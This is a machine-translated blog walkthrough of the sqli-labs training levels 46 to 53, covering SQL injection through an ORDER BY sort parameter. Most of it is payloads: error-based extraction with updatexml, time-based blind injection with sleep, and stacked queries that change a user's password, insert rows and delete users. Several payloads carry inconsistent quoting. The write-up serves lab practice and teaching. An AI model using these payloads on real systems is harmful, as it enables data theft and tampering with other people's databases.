当前位置:网站首页>SQL Lab (46~53) (continuous update later) order by injection
SQL Lab (46~53) (continuous update later) order by injection
2022-07-07 12:24:00 【hcjtn】
(46~50)
sql-lab-46
As soon as you enter 46 Close the page and prompt us to use sort :
![[ Failed to transfer the external chain picture , The origin station may have anti-theft chain mechanism , It is suggested to save the pictures and upload them directly (img-p8wYua6X-1643081745033)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220123100744179.png)]](/img/1c/5852688983758a13b5ed98f2935bc4.jpg)
We try to use this ?sort=1 Find out :
![[ Failed to transfer the external chain picture , The origin station may have anti-theft chain mechanism , It is suggested to save the pictures and upload them directly (img-7rA2s6bx-1643081745034)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220123101113651.png)]](/img/50/58207e22055e98dc2f62a878f86f0b.jpg)
then ?sort=2:
?sort=3:
We found that when we use sort=1 when The table is arranged in the first column ,sort=2 when The table is arranged in the second column , sort=3 when The table is sorted in the third column . We thought about it order by function , Guess may be related to order by Function related injection .
View source code :
$sql = "SELECT * FROM users ORDER BY $id";
We found that our guess was indeed right .
Let's get to know order by Parameter injection :
order by Injection means that the following parameters are controllable ,
order by It's different from what we're doing here where Injection point after , Out of commission union Isoinjection , Then you can follow An error injection perhaps Time blind note .
Judge database name :?sort=-1 and updatexml(1,concat(0x7e,database(),0x7e),1)-- q
Name of judgment table :?sort=-1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),0x7e),1)-- q
Judge the listing :?sort=-1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),0x7e),1)-- q
Query data :?sort=-1 and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1)-- q
sql-lab-47
Principle and 46 It's the same , The difference is only closed difference
Judge database name :?sort=-1 'and updatexml(1,concat(0x7e,database(),0x7e),1)-- q
Name of judgment table :?sort=-1 'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),0x7e),1)-- q
Judge the listing :?sort=-1’and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),0x7e),1)-- q
Query data :?sort=-1 'and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1)-- q
sql-lab-48
Only time blind injection can be used in this level :
Use time blind injection
Resolve database name :?sort=1 and if((ascii(substr(database(),1,1))=115),sleep(5),1)-- q The first is s
Resolve table name :?sort=1 and if((ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101),sleep(5),1)-- q The first is e
Resolve field name :?sort=1 and if((ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),1,1))=105),sleep(5),1)-- q The first is i
get data : ?sort=1’ and if((ascii(substr((select id from emails limit 0,1),1,1))>1),sleep(5),1)-- q
sql-lab-49
The same as the forty-eight level , It's just the difference in the way of closure
Resolve database name :?sort=1 'and if((ascii(substr(database(),1,1))=115),sleep(5),1)-- q The first is s
Resolve table name :?sort=1 'and if((ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101),sleep(5),1)-- q The first is e
Resolve field name :?sort=1’and if((ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),1,1))=105),sleep(5),1)-- q The first is i
get data : ?sort=1’ and if((ascii(substr((select id from emails limit 0,1),1,1))>1),sleep(5),1)-- q
sql-lab-50
Enter the topic , I found that it is quite different from the previous questions , The sentences we input will still be spliced into order by Back , So try to use error injection , Discovery is indeed possible , So what's the difference between this question and the previous one ?
Let's look at the source code :
mysqli_multi_query($con1, $sql)
So this problem is stack injection and order by Injected combination
?sort=1;update users set password=‘hcjtn’ where id=14–q
?sort=1;insert into users values(50,‘50’,‘50’)-- q
(51~53)
sql-lab51
The practice is consistent with the previous question , It's just a closed difference .
Use error injection or time blind injection :
Error injection is used here :
Judge database name :?sort=-1 'and updatexml(1,concat(0x7e,database(),0x7e),1)-- q
Name of judgment table :?sort=-1 'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),0x7e),1)-- q
Judge the listing :?sort=-1’and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),0x7e),1)-- q
Query data :?sort=-1 'and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1)-- q
Then stack injection :
?sort=1’;insert into users values(21,‘02’,‘24’)-- q
sql-lab-52
The same routine, the same method , First judge the closing mode It is found that the question is not closed , Then try to use error reporting , Pop up the library name , Found to be unusable , Then we can only use time blind annotation in this topic :
Resolve database name :?sort=1’and if((ascii(substr(database(),1,1))=115),sleep(5),1)-- q The first is s
Resolve table name :?sort=1 'and if((ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101),sleep(5),1)-- q The first is e
Resolve field name :?sort=1’and if((ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),1,1))=105),sleep(5),1)-- q The first is i
get data : ?sort=1’ and if((ascii(substr((select id from emails limit 0,1),1,1))>1),sleep(5),1)-- q
Then stack injection :
?sort=1 ;delete from users where id=50 – q
sql-lab-53
First judge the closing mode , Found no closure .
Resolve database name :?sort=1 'and if((ascii(substr(database(),1,1))=115),sleep(5),1)-- q The first is s
Resolve table name :?sort=1 'and if((ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101),sleep(5),1)-- q The first is e
Resolve field name :?sort=1 'and if((ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),1,1))=105),sleep(5),1)-- q The first is i
get data : ?sort=1’ and if((ascii(substr((select id from emails limit 0,1),1,1))>1),sleep(5),1)-- q
Then stack injection :
?sort=1’ ;delete from users where id=50 – q
边栏推荐
- Learning and using vscode
- Tutorial on principles and applications of database system (007) -- related concepts of database
- Unity 贴图自动匹配材质工具 贴图自动添加到材质球工具 材质球匹配贴图工具 Substance Painter制作的贴图自动匹配材质球工具
- Rationaldmis2022 array workpiece measurement
- Swiftui tutorial how to realize automatic scrolling function in 2 seconds
- An error occurred when vscade tried to create a file in the target directory: access denied [resolved]
- 解决 Server returns invalid timezone. Go to ‘Advanced’ tab and set ‘serverTimezone’ property manually
- @Bean与@Component用在同一个类上,会怎么样?
- wallys/Qualcomm IPQ8072A networking SBC supports dual 10GbE, WiFi 6
- Tutorial on the principle and application of database system (008) -- exercises on database related concepts
猜你喜欢

Unity map auto match material tool map auto add to shader tool shader match map tool map made by substance painter auto match shader tool

Common locking table processing methods in Oracle

【滤波跟踪】捷联惯导纯惯导解算matlab实现

Review and arrangement of HCIA

从工具升级为解决方案,有赞的新站位指向新价值

The left-hand side of an assignment expression may not be an optional property access.ts(2779)

NPC Jincang was invited to participate in the "aerospace 706" I have an appointment with aerospace computer "national Partner Conference

(待会删)yyds,付费搞来的学术资源,请低调使用!

wallys/Qualcomm IPQ8072A networking SBC supports dual 10GbE, WiFi 6

数据库系统原理与应用教程(009)—— 概念模型与数据模型
随机推荐
Several methods of checking JS to judge empty objects
Mastering the new functions of swiftui 4 weatherkit and swift charts
Completion report of communication software development and Application
ES底层原理之倒排索引
免备案服务器会影响网站排名和权重吗?
H3C HCl MPLS layer 2 dedicated line experiment
Learning and using vscode
NPC Jincang was invited to participate in the "aerospace 706" I have an appointment with aerospace computer "national Partner Conference
Idea 2021 Chinese garbled code
消息队列消息丢失和消息重复发送的处理策略
Epp+dis learning path (1) -- Hello world!
What are the technical differences in source code anti disclosure
Detailed explanation of debezium architecture of debezium synchronization
powershell cs-UTF-16LE编码上线
Attack and defense world ----- summary of web knowledge points
Completion report of communication software development and Application
TypeScript 接口继承
About web content security policy directive some test cases specified through meta elements
2022 8th "certification Cup" China University risk management and control ability challenge
问题:先后键入字符串和字符,结果发生冲突